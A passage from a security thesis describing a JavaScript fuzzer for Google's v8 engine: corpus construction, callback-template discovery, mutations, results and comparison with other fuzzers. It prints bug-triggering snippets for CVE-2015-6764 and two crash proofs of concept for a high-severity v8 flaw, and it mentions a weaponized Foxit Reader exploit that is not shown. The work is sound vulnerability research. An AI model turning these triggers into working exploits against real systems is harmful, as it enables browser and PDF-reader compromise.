phase the fuzzer adds code between two code lines and adding newlines is therefore
important to ensure that the fuzzer can insert code at all possible locations.
•
Removal of empty lines.
•
Renaming all variables, functions and classes to follow the naming convention from
the fuzzer. This is important to ensure that the fuzzer is aware of all available tokens.
The initial processing of the 105,892 code samples resulted in 674 timeouts, 9 crashes and
3,985 successful executions which triggered unique behavior. These inputs triggered
together 124,619 of 596,937 possible edges which means they utilized a coverage of 20.88
percent. The 9 crashes were v8 test cases which trigger new bugs which were not fixed yet.
Several test cases resulted in an exception because of missing references to functionality
used by test suites or which were specific to an engine. The test cases were therefore
processed again and references to these functions were removed before execution.
214 https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples
215 https://github.com/tunz/js-vuln-db
216 https://github.com/kangax/sputniktests-webrunner/tree/master/src/tests
217 https://www.w3resource.com/javascript/javascript.php
218 https://www.w3resource.com/javascript-exercises
114
The following modifications were performed on all test cases:
•
Calls to 70 different functions were replaced by other function calls
o Examples:
▪
writeLine was patched to console.log
▪
WScript.SetTimeout was patched to setTimeout
▪
assertUnreachable() was patched to an empty line
▪
assertStmt was patched to eval
▪
optimizeNextInvocation was patched to
%OptimizeFunctionOnNextCall
▪
platformSupportsSamplingProfiler() was patched to true
•
Import or load statements at the start of test cases were removed. This is required
because importing other files is currently not supported.
•
Calls to 78 different functions were removed.
o Examples:
▪
WScript.Attach()
▪
assert.fail()
▪
description()
▪
assertUnoptimized()
▪
verifyProperty()
▪
generateBinaryTests()
▪
assertThrowsInstanceOf()
▪
testFailed()
▪
assert_throws()
▪
assert.throws()
▪
shouldThrow()
▪
assertThrowsValue()
▪
enableGeckoProfiling()
▪
assertThrownErrorContains()
•
Calls to 27 function calls were rewritten to a comparison.
o Examples:
▪
assert.sameValue was patched to a == comparison
▪
reportCompare was patched to a == comparison
▪
assert.strictEqual was patched to a === comparison
▪
assertEq was patched to a == comparison
▪
verifyEqualTo was patched to a == comparison
•
Calls to 23 assert functions were replaced by the argument passed to the function.
o Examples:
▪
assert.isTrue
▪
assert.isFalse
▪
assert.assertFalse
▪
assertFalse
115
▪
assert_true
▪
%TurbofanStaticAssert
▪
assert.shouldBeTrue
▪
assertNotNull
Moreover, some function calls were removed because they easily lead to a state which is
observed as a crash by the fuzzer. This includes calls to quit() as well as v8 specific functions
such as:
•
%ProfileCreateSnapshotDataBlob
•
%LiveEditPatchScript
•
%IsWasmCode
•
%IsAsmWasmCode
•
%ConstructConsString
•
%HaveSameMap
•
%IsJSReceiver
•
%HasSmiElements
•
%HasObjectElements
•
%HasDoubleElements
•
%HasDictionaryElements
•
%HasHoleyElements
•
%HasSloppyArgumentsElements
•
%HaveSameMap
•
%HasFastProperties
•
%HasPackedElements
These function calls can easily result in a crash, for example, during test case minimization
because code lines are removed which changes the logic of the code.
To further increase the coverage a data augmentation technique was applied. In addition to
the normal execution of all test cases, the test cases were also wrapped inside a function
and JIT compilation was forced by invocation of the following two methods on the function:
•
%PrepareFunctionForOptimization()
•
%OptimizeFunctionOnNextCall()
This resulted in the processing of 164,530 unique test cases from the mentioned sources.
By just interpreting the code, 8,990 unique test cases were identified based on coverage
feedback. These samples triggered a coverage of 24.01 percent in v8. By including the test
cases were JIT compilation was enforced, the total coverage was increased to 148,155
triggered edges of 596,937 possible edges which corresponds to a 24.82 percent coverage.
Applying the above-mentioned modifications is a non-trivial task because it requires the
correct parsing of JavaScript code in several edge cases including test cases which use
116
Unicode. It also requires the correct parsing of strings, template strings, escaped symbols,
regex strings and object structures.
Park et al. published [10] a similar experiment before this thesis was finished. At the time of
publication of the work of Park et al., the above-mentioned corpus was already created. Park
et al. used similar but fewer sources to create a corpus. Only regression tests from
JavaScript engines (ChakraCore, JavaScriptCore, v8 and SpiderMonkey) were used
together with JS-Vuln-DB. Park et al. used a different technique to handle engine specific
functions. Instead of patching the test cases by removing the functions, wrapper functions
were implemented and added to the code. The advantage of this technique is that complex
JavaScript parsing is not required, however, the disadvantage is that test cases become
bigger which decreases fuzzer performance. Park et al. reported that their input corpus
contained 14,708 unique JavaScript files, however, the exact coverage was not mentioned.
Moreover, Park included test cases to the corpus, which result in an exception. It is also not
obvious which JavaScript engine was used to create the corpus. Comparing the number of
files in the corpus is therefore not meaningful.
In this thesis test cases which trigger an exception are not included in the corpus. This design
decision was made to reduce the number of exceptions which occur during fuzzing which
significantly increases the fuzzer speed.
Self-created corpus:
A Python script was developed which deterministically generates JavaScript code samples
by using a brute-force like approach. Using the edge coverage feedback, samples with new
behavior could be detected and saved in a separated corpus. The script first extracts all
available global variables, instantiates possible objects and then iterates through all methods
and calls them with different arguments. State modifying operations like the re-assignment
of properties are also performed on these objects. The script generates different code
constructs using loops, if-conditions, functions, generators, classes, labels, exception
handling, keywords and so on. Moreover, mathematical calculations are created in a variety
of possible combinations. Although a lot of time was spent on developing and implementing
edge cases, only a coverage of 10.83 percent of code in v8 was achieved. This clearly
indicates that test cases from browsers are a better initial source because they already
achieve more than twice of this coverage. Time should therefore not be spent on creating
initial test cases. Instead, regression and unit tests from browsers can just be used.
However, by combining the self-created corpus with the corpus created from the browser
regression and unit tests, the coverage could be increased from 24.82 percent to 25.06
percent which corresponds to 149,570 triggered edges of 596,937 possible edges. This final
corpus contained 9,162 unique test cases.
117
Deterministic preprocessing phase 1:
The deterministic preprocessing can be viewed as another data augmentation technique. It
was modeled based on AFL’s deterministic fuzzing phase. Every time a new test case is
added to the corpus, the preprocessing is performed on the test case to identify similar code
samples which trigger edge cases. To achieve this, code lines are added at all possible
locations in the test case. Examples of inserted code lines are:
•
gc();
o This triggers garbage collection at every possible location.
•
gc();gc();
o Triggering garbage collection twice can be important because it moves data
into the old space memory region. Further details are mentioned in chapter
4.2.2 in the Chromium bug 789393 description.
•
%OptimizeFunctionOnNextCall()
o This function call leads to the optimization of a function. If the test case is just
interpreted, this mutation ensures that the code from the compiler gets also
tested.
•
%DeoptimizeNow();
o This function call leads to the deoptimization of a function at the defined
location. It tests the correct deoptimization in different scenarios.
•
Array(2**30);
o Details to this code can be found in chapter 4.5.1 in the CVE-2019-5825
vulnerability analysis.
•
try { } finally { }
o Details to this code can be found in chapter 4.5.1 in the CVE-2017-5070
vulnerability analysis.
•
this.__proto__ = 0;
o Details to this code can be found in chapter 4.2.3 in the Chromium issue
992914 vulnerability analysis.
•
parseInt();
o Details to this code can be found in chapters 4.5.1 and 4.5.2 in the CVE-2016-
5198 and CVE-2017-2547 vulnerability analysis.
These code lines are not only inserted in every possible line, but also as function arguments
and as assignments in for-loops or if-condition statements. The code lines are also passed
as additional arguments to functions. Adding more arguments than a function expects does
not change the functions behavior. However, it creates additional connections in the sea-of-
nodes which can lead to vulnerabilities as demonstrated in chapter 4.5.3 in the CVE-2020-
6418 vulnerability analysis.
118
Using deterministic preprocessing the coverage was increased from 25.06 percent to 25.67
percent which corresponds to 153,229 triggered edges of 596,937 possible edges. The
final corpus contained 10,473 unique test cases.
During deterministic preprocessing 596 crashes could be detected. Most of the crashes were
due to native function calls and are therefore not exploitable. One exploitable vulnerability
was identified, which was also detected by another researcher and was therefore a duplicate.
More details can be found in chapter 5.4.1.
Figure 9 visualizes the corpus coverage after the different processing stages.
Figure 9: Corpus coverage at different stages
119
5.2.2 Corpus of JavaScript code templates
Changing assumptions within callbacks is the source of many bugs. Searching
simultaneously for callback functions and code, which changes the correct assumption,
results in a huge search space. Decoupling both actions into two separate tasks therefore
significantly reduces the runtime to identify bugs. The identification of code, which changes
assumptions, is performed during fuzzing. However, the identification of possible callback
functions can already be performed in advance on the input corpus and with self-created
code samples.
To implement this, a new native JavaScript function was added to the source code of the v8
engine. This function reflects its argument back to the fuzzer. The fuzzer can create code
samples that call this function within possible callbacks. Since every function call uses a
unique identifier as argument, the fuzzer can use the reflected feedback to calculate which
function call was executed and can therefore identify callback functions. During later fuzzing,
calls to this JavaScript function are replaced by fuzzed code.
Such identified template files are stored in the second corpus. These templates specify at
which locations the fuzzer should insert fuzzed code. To generate this template corpus, the
fuzzer creates files such as the following:
01: try {
02:
fuzzcommand("FUZZ_PRINT", "_PRINT_ID_1");
03: } catch (e) {
04:
fuzzcommand("FUZZ_PRINT", "_PRINT_ID_2");
05: } finally {
06:
fuzzcommand("FUZZ_PRINT", "_PRINT_ID_3");
07: }
The fuzzcommand function is the native function that was added to the engine. It is based
on the FUZZILLI_PRINT function from the fuzzilli fuzzer. The FUZZ_PRINT command sends
the second argument back to the fuzzer when the code gets executed. In the above example,
the _PRINT_ID_1 and _PRINT_ID_3 would be returned to the fuzzer and the fuzzer
therefore knows that fuzzed code can be added at both locations. Since _PRINT_ID_2 was
not reflected, the fuzzer does not add fuzzed code at this location. Instead, the print ID is
changed to a random unique string before the template is added to the corpus. Changing
the ID to a random unique string is important, otherwise combined templates, which are
created during fuzzing, could have overlapping ID’s. The generated template could look like:
01: try {
02:
// Fuzz Code
03: } catch (e) {
04:
fuzzcommand("FUZZ_PRINT", "_PRINT_ID_3af451dfc");
05: } finally {
06:
// Fuzz Code
07: }
During fuzzing, the fuzzer selects random templates and starts to add fuzzed code, for
example, from the first corpus or from grammar definitions. When fuzzed code, which gets
inserted into the above template in the second line, triggers an exception, the
120
_PRINT_ID_3af451dfc string would get reflected. The fuzzer therefore uses the created
sample as a new template because code at a new location was executed. Afterwards, the
print command in the original template is removed to ensure that subsequent fuzzing does
not detect the same template again.
This approach allows to dynamically identify interesting code locations to reduce the search
space. As example consider CVE-2015-6764 from chapter 4.3.2:
01: var array = [];
02: var funky = {
03: toJSON: function () { array.length = 1; gc(); return "funky"; }
04: };
05: for (var i = 0; i < 10; i++) array[i] = i;
06: array[0] = funky;
07: JSON.stringify(array);
Generating such a test case from an empty input in just one iteration is a time-consuming
task because of the huge search space. The fuzzer would need to get lucky to correctly
guess that the stringify functions accepts exactly one argument and that this argument must
be an array. Moreover, that an element of the array must be an object with a custom defined
toJSON callback function which then modifies the array length. A huge number of possible
combinations of JavaScript code exists and therefore it would take a long time until the fuzzer
finds accidently such an input.
However, by using the above discussed approach, the search space can significantly be
narrowed down. The fuzzer starts with the following simplified code:
fuzzcommand("FUZZ_PRINT", Object.getOwnPropertyNames(this));
The code reflects back to the fuzzer all available global variables which includes the JSON
object. Next, the fuzzer extracts the available functions for all these objects, including the
JSON object:
fuzzcommand("FUZZ_PRINT", Object.getOwnPropertyNames(JSON));
The fuzzer therefore knows that JSON.stringify() is one of the available methods. However,
it does not know the number or types of arguments yet. Tradition fuzzers use grammar files
which encode this information, however, creating such definitions is a time-consuming and
error-prone task. To dynamically extract the information, the fuzzer starts a bruteforce
approach where all possible combinations of arguments are tested. When the fuzzer passes
an array as first argument, more code will get executed because the correct type and number
of arguments were passed. This information is available to the fuzzer because of the edge
coverage feedback mechanism. The fuzzer therefore knows how the function can be called
and adds the code to the first corpus. This could be code like:
01: var _var_1_ = [];
02: JSON.stringify(_var_1_);
121
Another possibility is that a valid function call is already stored in one of the corpus files from
the browser test cases, which is very likely. In this case a code sample can also be found in
the first corpus.
After that, the fuzzer can insert JSON.stringify() function calls at random locations during
fuzzing, for example, by splicing test cases. As next step, the fuzzer also tries during the
deterministic preprocessing phase 2 to generate samples like the following:
01: var _var_1_ = [];
02: var _var_2_ = {
03: valueOf: function () { fuzzcommand("FUZZ_PRINT", "_PRINT_ID_1") },
04: toJSON: function () { fuzzcommand("FUZZ_PRINT", "_PRINT_ID_2") },
05: toISOString: function () { fuzzcommand("FUZZ_PRINT", "_PRINT_ID_3") },
06: toDateString: function () { fuzzcommand("FUZZ_PRINT", "_PRINT_ID_4") },
07: // Other callback functions
08: };
09: _var_1_[0] = _var_2_;
10: JSON.stringify(_var_1_);
In this case the string _PRINT_ID_2 would be reflected and the fuzzer creates a new entry
in the template corpus. As soon as the fuzzer starts fuzzing using this entry, fuzzed code will
be added in the toJSON callback function. The code, which is added at this location, is taken
from the first corpus which stores JavaScript code snippets and from the mutation engine.
As soon as one of these snippets contains code which sets the length of _var_1_ to one and
which triggers garbage collection, the bug is triggered and CVE-2015-6764 would be found.
The likelihood that _var_1_ is modified by the fuzzer is also increased because the callback
has a connection to _var_1_. Moreover, the fuzzer contains a special mutation strategy
which modifies the length of an array, since this operation is a common building block found
in most analyzed vulnerabilities.
This description corresponds to the generation of the template corpus during the self-created
test cases phase from Figure 8. New template files are also added during the preprocess
corpus phase 2 performed on the downloaded JavaScript test cases. In this phase all test
cases from the first corpus are preprocessed by inserting objects with callback functions,
similar to _var_2_ in the above code. Newly identified callbacks in these cases would also
be added to the template corpus. The code does not only inject callback objects at all
possible locations, it also introduces callbacks using a variety of other techniques. For
example, instantiated objects are proxied as well as global objects and functions. Moreover,
native available classes are sub-classed, and their usage is replaced by the sub class which
contains callbacks for every possible property and function. Properties or methods of global
objects are redefined to callback functions. Several combinations of these techniques are
used. For example, an object can be replaced by another object of a sub class of the original
type which implements Symbol.Species which returns a different constructor. This
constructor can then return a proxied object which modifies accessed properties on-the-fly,
for example, by changing the prototype chain and introducing callbacks in them.
122
Moreover, test cases must be rewritten before callbacks can be injected. For example,
consider the following possible test case from the first corpus:
01: /test*/g.exec("test123")
This testcase must first be adapted to make use of the new keyword to ensure that it can be
sub-classed:
01: new RegExp("test*", "g").exec(new String("test123"))
In addition to that, the testcase must be rewritten to first assign the object to a variable before
operations are performed on it:
01: var var_1_ = new RegExp("test*", "g");
02: var_1_.exec(new String("test123"))
Assigning the object to a variable is important. If later callbacks are injected, for example by
using the argument string, the code inserted into the callback must be able to modify the
triggering object. In this example, a callback could be triggered inside the exec method and
since the method is called on var_1_, the callback code should attempt to modify the var_1_
variable. Such a modification would not be possible in the original test case because the
object was not assigned to a variable and therefore testcases must be rewritten first.
Similar variable assignments should be used to make values passed to functions accessible,
however, this is currently not supported.
In total 9,867 template files were created using the developed script which brute forced
possible callback locations or which manually marked code locations within control flow
statements like loops. Furthermore, it was possible to automatically inject callback functions
in 9,147 of the 10,473 corpus files. This resulted in 174,233 additional template files. The
final corpus therefore contains 184,100 template files which mark code locations where the
fuzzer should insert fuzzed code.
During callback injection 249 crashes could be observed, but the root cause of these bugs
was traced back to native functions, which are not enabled per default. These crashes
therefore do not pose a risk to end users.
123
5.2.3 Initial test case analysis and type reflection
Every corpus entry initially undergoes an analysis that creates a state file. During this
analysis, the data type of every variable in every code line is obtained. Using static analysis
to extract this information would require a lot of engineering effort and therefore a dynamic
approach was chosen. As previously mentioned, finding new corpus entries is a rare event
and additional executions in such a case can therefore be neglected when the runtime is
evaluated.
To extract at runtime the data type of the used variables, the corpus entry is wrapped within
the following code:
01: try {
02:
var data_types = new Set()
03:
// Code of the original corpus test case
04: } finally {
05:
fuzzcommand('FUZZ_PRINT', data_types);
06: }
In the current tested line, code is inserted which adds the data types of all variables to the
data_types variable. This variable is reflected to the fuzzer in the finally block. The code is
executed multiple times, one execution per code line. This is required because the insertion
of a code line could result in an exception, for example, if the tested line corresponds to an
argument list or is a line after a for-loop which is not enclosed by curly brackets. A set is
used because variables can have different data types in the same code line, for example, if
a function is invoked with different arguments.
A similar strategy is used to extract the following information:
•
How often a line is executed.
•
If the line must end with a semicolon or a comma.
•
The number of required arguments of custom functions. This information can be
queried by accessing the function_name.length property, but currently a static
approach is used instead.
•
The name and type of custom properties.
•
Properties and functions of custom classes.
•
The length of every array in every line.
•
The number of variables, functions and classes found in the test case.
•
The average runtime of the testcase.
•
The test case size and if the test case results in unreliable coverage feedback.
•
Where code blocks start and end. This information is important when multiple test
cases are spliced together during fuzzing.
The state file is persisted as a Python pickle file.
124
5.3 Fuzzing
During fuzzing the fuzzer selects random template files and injects fuzzed code at the
identified code locations. Moreover, fuzzed code is added at the beginning and end of the
templates. To generate fuzzed code, the first corpus is used which contains JavaScript code
snippets. A random number of code snippets are loaded and merged or spliced together.
Moreover, a random number of mutations are applied to the generated test case. Examples
of mutations are:
•
Removal of a code line.
•
Removal of a code block.
•
Wrapping a value in an object property. This can trigger escape analysis bugs, see
chapter 4.5.5 for details.
•
Adding a function call at a random location which can change assumptions.
•
Performing actions on a variable like mathematical calculations.
•
Changing the length of an array and calling garbage collection.
•
Changing the length of an array, calling garbage collection and setting the length
back to the original value.
•
Wrapping code within an if-statement.
•
Wrapping code within a loop with just one iteration.
•
Wrapping code in a function call.
•
Changing a value to a different value.
Currently, just a few mutations are implemented because of the limited time frame of the
thesis. The fuzzer can therefore further be improved by implementing more mutation
strategies.
125
5.4 Results
Chapter 3 listed the following state-of-the-art evaluation methods to compare the
performance of a fuzzer:
•
The LAVA test suite
•
The rode0day binaries
•
The DARPA Cyber Grand Challenge dataset
•
The FuzzBench project from Google
These projects and datasets are related to fuzzing binary protocols or simple interactive
applications but are not applicable to browser fuzzers. To evaluate the performance of the
implemented improvements, the number of newly discovered security vulnerabilities and
bugs are instead compared. This evaluation method follows the recommendation provided
by Klees et al. [50].
Chapter 3 mentioned that the Chrome codebase has been fuzzed for several years by
Google using over 25,000 CPU cores. External researchers are invited to develop fuzzers
that run on this infrastructure to unveil new vulnerabilities. Furthermore, a dedicated security
team constantly improves the fuzzers.
It is obvious that running the developed fuzzer on a similar infrastructure for evaluation is not
within the available resources of this research. A comprehensive comparison is therefore
beyond the scope of this work.
The specifications of the system used during development and for fuzzing is listed below:
•
Intel Xeon CPU @ 3,2 GHz (12 Cores)
•
32 GB RAM
The fuzzer was started in a VirtualBox VM. Six cores and 20 GB RAM were assigned to the
VM. The fuzzer was just started on one core on the test system.
The v8 engine was fuzzed in version 8.1.307.28 which was released in April 2020.
Test cases were limited to a maximum runtime of 400 milliseconds per execution. The
average execution time was 62 milliseconds. The test period was settled to one week
because of limited resources. In total 8,467,311 executions were performed during this test
period. In this period 1,677 crashes were observed. Most of these crashes can be traced
back to bugs related to native function calls in the v8 engine. These native functions are
used during development or debugging and therefore do not pose a security risk to end-
users. Chapter 5.4.1 describes more details according an identified high-severity bug which
is not related to native function calls.
During the analysis of previously exploited vulnerabilities a vulnerability in Foxit Reader was
identified. Foxit Reader internally uses the JavaScript engine of Chromium and
vulnerabilities in v8 therefore also affect Foxit Reader. The author of this thesis developed
together with the second supervisor a reliable exploit for the vulnerability. To trigger the
126
vulnerability only a PDF file must be opened in Foxit Reader. The exploit achieves full code
execution without crashing Foxit Reader, bypasses all in-place memory protections and is
invisible for victims. The vulnerability was reported together with the exploit to TrendMicro’s
Zero Day Initiative. The vulnerability is tracked as ZDI-20-933 219. The vulnerability was fixed
on 2020-07-31. CVE-2020-15638 was assigned to this vulnerability.
During fuzzer development manual tests were performed to test edge cases in JavaScript.
This led to the discovery of a bug with suspended generators which yield themselves. Since
the bug is just a NULL pointer exception, it is considered to be not exploitable. The bug was
reported to the Chromium developer team and was fixed within one day. The bug is tracked
as Chromium issue 1075763 220.
5.4.1 Example of an identified high-severity security vulnerability
The following bug was found in v8 version 8.1.307.28 during fuzzing:
// Required v8 flags: --allow-natives-syntax --interrupt-budget=1024
01: function func_1_() {
02: var var_5_ = [];
03: for (let var_3_ = 0; var_3_ < 2; var_3_++) {
04: for (let var_4_ = 0; var_4_ != 89; var_4_++) {}
05: for (let var_1_ = -0.0; var_1_ < 1;
06: var_1_ = var_1_ || 11.1,%OptimizeFunctionOnNextCall(func_1_))
07:
{
08:
var var_2_ = Math.max(-1,var_1_);
09:
var_5_.fill();
10:
undefined % var_2_;
11:
}
12:
}
13: }
14: func_1_();
The bug is fixed in the current v8 version. The way the bug is triggered was fixed during a
code update 221, however, this code update did not fix the underlying root cause of the bug.
The test case crashes with a FATAL error during handling of a NumberMax node in the sea-
of-nodes. The bug demonstrates the fuzzer’s ability to find vulnerabilities with complex pre-
conditions:
•
The vulnerability just triggers if the target function uses three chained loops as shown
in line 3, 4 and 5.
•
The first loop must perform at least two iterations.
•
The second loop must perform at least 89 iterations.
•
The third loop must initialize the loop variable with a negative floating-point number.
•
The syntax in line 6 must be exactly as shown and the function optimization must be
triggered coma separated in the loop header. Variable 1 must be re-assigned and it
is important that the floating-point value is 11.1 or above.
219 https://www.zerodayinitiative.com/advisories/ZDI-20-933/
220 https://bugs.chromium.org/p/chromium/issues/detail?id=1075763
221 https://github.com/v8/v8/commit/a447a44f31fc153590598698d33d6efd73334be4
127
•
The loop iteration variable var_1_ must be used in a call to Math.max together with
a negative number as shown in line 8.
•
The output of this call must be used in a modulo operation as shown in line 10.
•
Before this modulo operation but after the Math.call function invocation a call to the
built-in Array.fill() function must be performed.
If one of these conditions is not met, the bug does not trigger. Guessing all these conditions
correctly in just one generation step is improbable and a traditional fuzzer would therefore
need a huge number of executions to find this bug.
The bug was identified by the fuzzer by applying mutations on the regression test from
Chromium issue 1063661 222. The regression test was in the fuzzer corpus because test
cases from Chromium are used as sources, see chapter 5.2.1. During deterministic
preprocessing the fuzzer added a call to optimize the function in the third loop header which
triggered the bug. The bug was found after approximately one week of fuzzing.
The way this PoC triggered the bug is fixed since 2020-03-20, but the underlying flaw could
still be triggered afterwards. The researcher Javier Jimenez (@n30m1nd) from SensePost
found the same bug in a newer v8 version by using a combination of fuzzilli and AFL++. In
this newer version the bug could be triggered with a simplified PoC:
// Required v8 flags: --allow-natives-syntax --interrupt-budget=1024
01: function crash() {
02: for (a=0;a<2;a++)
03: for (let i = -0.0; i < 1000; i++) {
04: confused = Math.max(-1, i);
05: }
06: confused[0];
07: }
08: crash();
09: %OptimizeFunctionOnNextCall(crash);
10: crash();
This simplified PoC just works in the newer v8 version and does not trigger the bug in the
fuzzed v8 version. The bug is tracked as Chromium issue 1072171 223 and was classified as
a high-severity security issue and resulted in a $ 7,500 award for Javier Jimenez. Jimenez
reported the bug on 2020-04-18. The author of this thesis found the bug on 2020-07-18
because an older v8 version was fuzzed for the thesis because the corpus was optimized
for that version. The Chromium issue was made public on 2020-07-30.
The root cause of the vulnerability is an incorrect compiler annotation for the built-in
Math.max function which misses the minus zero case for the return value. This bug is an
example of the vulnerability category described in chapter 4.5.4.
222 https://bugs.chromium.org/p/chromium/issues/detail?id=1063661
223 https://bugs.chromium.org/p/chromium/issues/detail?id=1072171
128
6 Discussion
The results underline the efficiency of the developed fuzzer and that the proposed approach
can be used to identify complex and previously unknown bugs. It was possible to confirm
the thesis hypothesis because the search space could be reduced to identify an exploitable
bug on a home computer.
However, to identify additional exploitable bugs more computation power is required to run
the fuzzer over a longer period on more CPU cores. Although it is assumed that the search
space is narrowed down, still several hundred or thousand CPU cores are required to find
long-lived exploitable bugs.
During the experiment, 8,467,311 test cases were generated and tested. However, already
in 2016, the Chrome security team fuzzed Chrome and tested in 30 days
14,366,371,459,772 test cases using 700 virtual machines, as mentioned in chapter 3. They
used at that time a fuzzer infrastructure of 5,000 CPU cores. Nowadays, the Chrome security
team uses more than 25,000 CPU cores to constantly fuzz Chrome. The 8,467,311 tested
JavaScript samples are just a fraction of the test cases tested internally by the Chrome team
every day.
The proposed fuzzer is currently just a prototype and several mutations are not supported
yet. Moreover, the fuzzer is not yet optimized for speed. Several improvements can still be
implemented to increase the throughput of the fuzzer.
The current most promising JavaScript fuzzers are fuzzilli [39], DIE [10] and Code Alchemist
[40], as discussed in chapter 3. The developed fuzzer combines the ideas of all three fuzzers,
but each using a different approach.
Fuzzilli introduced coverage feedback in JavaScript fuzzing and used an IL to perform
mutations. In the developed fuzzer coverage feedback is used to generate a corpus of code
snippets and mutations are directly applied on JavaScript code and not on an IL. Using an
IL has the advantage that mutations can more easily be implemented which means less
code is required. However, the IL adds an abstraction level and the fuzzer can therefore just
create code that can also be encoded in the IL. In this thesis, mutations are directly applied
to JavaScript code which is more complex and error-prone, but it ensures that every possible
code combination can be created and that mutations are more fine-grained. Moreover, it is
faster because the IL must not be parsed during fuzzing. This is coherent with the current
development in the field of symbolic execution. Initially, an IL was used in most symbolic
execution engines but QSYM [26] proved that engines without an IL perform better during
fuzzing because of the missing overhead of the IL.
DIE uses an initial corpus generated from public regression tests and applies specific
mutations on the corpus. The public test cases are fixed by adding missing functions that
are available in other JavaScript engines or testing frameworks. The advantage of this
approach is that it is not error-prone because test cases must not be mutated, only new
129
functions must be added at the start of the file. The disadvantage is that it makes test cases
bigger which means fuzzing is slower and it is harder to extract small code bricks out of the
test case because of the additional dependencies. In this thesis, the test cases are fixed by
rewriting the test cases and replacing the function calls with corresponding JavaScript code.
This requires more engineering effort because test cases must correctly be parsed and
patched, and it is more error prone. For example, the parsing function can currently not
handle special cases with regex strings and such test cases therefore may incorrectly be
patched. These regression tests are currently not supported by the fuzzer. However, it
results in smaller test cases which is important for fuzzing and especially for coverage guided
fuzzing. DIE also does not implement test case minimization.
DIE uses five different sources to create the initial corpus. Code Alchemist uses a similar
approach and lists five sources for the corpus. However, one of the sources is the test262
suite which is already available in the regression tests which means the effective number of
sources is four. Fuzzilli does not support an initial corpus. In this thesis, 12 different sources
are used to create the corpus.
Another difference to DIE is the handling of exceptions. The DIE fuzzer uses test cases
which result in an exception in the corpus. This means the fuzzer can find bugs related to
exceptions, however, every time the fuzzer generates a test cases which triggers early an
exception, all subsequent code lines in the test case are not executed. In this thesis,
exceptions were intentionally removed from the corpus to increase the likelihood of
generating test cases that do not trigger exceptions.
The DIE and Code Alchemist fuzzers extract the Abstract Syntax Tree (AST) of the test
cases using libraries and perform mutations and analysis based on the AST. DIE uses the
Babel library for this whereas Code Alchemist uses Esprima. In the proposed fuzzer the
mutations and analysis steps are directly performed on the JavaScript code using self-
developed Python code.
Code Alchemist extracts small code bricks from test cases and merges them into new test
cases during fuzzing. Code bricks are called building blocks in this thesis. While Code
Alchemist uses the AST to extract the code bricks, dependencies in test cases are in the
proposed fuzzer analyzed without third party libraries. For example, if a specific line in a test
case is identified as a code brick, this code line alone may lead to an exception in another
test case because of dependencies. The code line could potentially reference a specific
function or variable which is just available in the first test case. Code Alchemist uses the AST
to identify these dependencies and then also copies these functions or variables. In this
thesis, it is attempted to extract this information using self-developed scripts, however, this
is error prone. One method to improve the fuzzer is therefore the integration of a library
which can extract the AST.
130
Table 3 classifies and compares fuzzilli, DIE and Code Alchemist with the developed fuzzer.
Fuzzilli
DIE
Code Alchemist
Proposed fuzzer
Coverage Feedback
yes
yes
-
yes
Mutations performed on
IL
AST (Babel)
AST (Esprima)
JavaScript
Initial Corpus
no
yes (5 sources)
yes (4 sources)
yes (12 sources)
Type System
yes
yes
yes
yes
Code Bricks
-
-
yes
yes
JS Callback Corpus
-
-
-
yes
Table 3: Classification of existing fuzzers
7 Conclusion and future work
This work introduced a fuzzer that combines ideas of three state-of-the-art fuzzers and
integrates newly proposed ideas extracted from analyzed vulnerabilities. The fuzzer has over
8,000 lines of code and 5,000 comment lines.
Chapter 4 showed that useful information can be obtained from recently exploited
vulnerabilities which can enhance fuzzing strategies. These improvements reduce the
search space during fuzzing and variations of already known vulnerabilities can be found
more efficiently.
Most of the analyzed vulnerabilities shared similar code structures or used the same building
blocks which can be re-used during fuzzing. The analysis of previously exploited
vulnerabilities leads to a better understanding of vulnerability classes. It was possible to
further categorize discovered vulnerabilities into more specific vulnerability classes. The
knowledge obtained can not only be applied during fuzzer development. It can also be used
to identify new vulnerabilities. This was demonstrated by the identification of a previously
unknown vulnerability in Foxit Reader. A weaponized exploit was developed for this
vulnerability which could be used to target 560 million end-users of Foxit Reader to achieve
remote code execution on their systems.
The v8 JavaScript engine of Google Chrome is used by several software projects. Since
many of these projects do not regularly update the engine, attackers almost always have
access to full working exploits because researchers regularly publish exploitation details for
newly discovered v8 bugs.
The author of this thesis believes that variation analysis is an important instrument to
enhance current state-of-the-art JavaScript fuzzers. The proposed techniques help to narrow
down the search space to find exploitable vulnerabilities more efficiently.
The fuzzer identified in one week on a home computer a high-severity bug in v8. This bug
was already identified by another researcher and was therefore a bug collision. It is assumed
that more computational resources would be required to start the fuzzer on a larger scale to
further prove the claimed improvements and to find long-lived vulnerabilities.
131
Future work should focus on the following research areas:
•
The fuzzer should be tested against other JavaScript engines than v8. Especially
the scripts to create an initial JavaScript corpus can be executed with other engines
to calculate edge cases for them. Since edge cases in one engine are likely edge
cases in other engines, the overall corpus could be improved by combining the
corpus files from all engines.
•
Exploitable vulnerabilities should be identified for which currently no public exploits
exist. Key learnings from the analysis of them should be integrated into the fuzzer.
•
The fuzzer should be improved to parse the AST of the test cases to correctly extract
dependencies of code lines. This is important to ensure that code bricks are
complete and do not have missing dependencies.
•
More mutation strategies should be implemented to further increase the coverage.
•
Publicly available regression tests are sanitized during corpus generation. During
this process, several function calls are patched or modified to ensure that the test
case just contains valid JavaScript code and not function calls which are only
supported by another engine or a specific framework. Further work is required to
improve this process to ensure that all processed test cases are correctly sanitized.
•
During corpus generation the template corpus is created. This corpus contains test
cases that invoke callbacks at different locations. A technique is required which can
compare two test cases and detect if both test cases use a callback at the same
location. Currently, the fuzzer cannot identify during fuzzing test cases which mark
new callback locations because the fuzzer cannot detect if such a test case is
already in the corpus. In the code snippet corpus new files are detected using the
coverage feedback. In the template corpus the detection of new callback locations
is currently an open research question.
132
Bibliography
[1]
B. Hawkes (Google Project Zero), "0day 'In the Wild'," 15 05 2019. [Online]. Available:
https://googleprojectzero.blogspot.com/p/0day.html.
[2]
M. Miller, "Trends, challenges, and strategic shifts in the software vulnerability mitigation
landscape," in BlueHat IL 2019, 2019.
[3]
M. Shwartz, Selling 0-days to governments and offensive security companies, BlackHat USA 2019,
2019.
[4]
M. Vervier, M. Orrù, B.-J. Wever and E. Sesterhenn, "x41 Browser Security White Paper," 19 09
2017.
[Online].
Available:
https://github.com/x41sec/browser-security-whitepaper-
2017/blob/master/X41-Browser-Security-White-Paper.pdf. [Accessed 11 10 2019].
[5]
M. Dr.-Ing. Heiderich, A. M. Inführ, F. B. Fäßler, N. M. Krein, M. Kinugawa, T.-C. B. "Filedescriptor
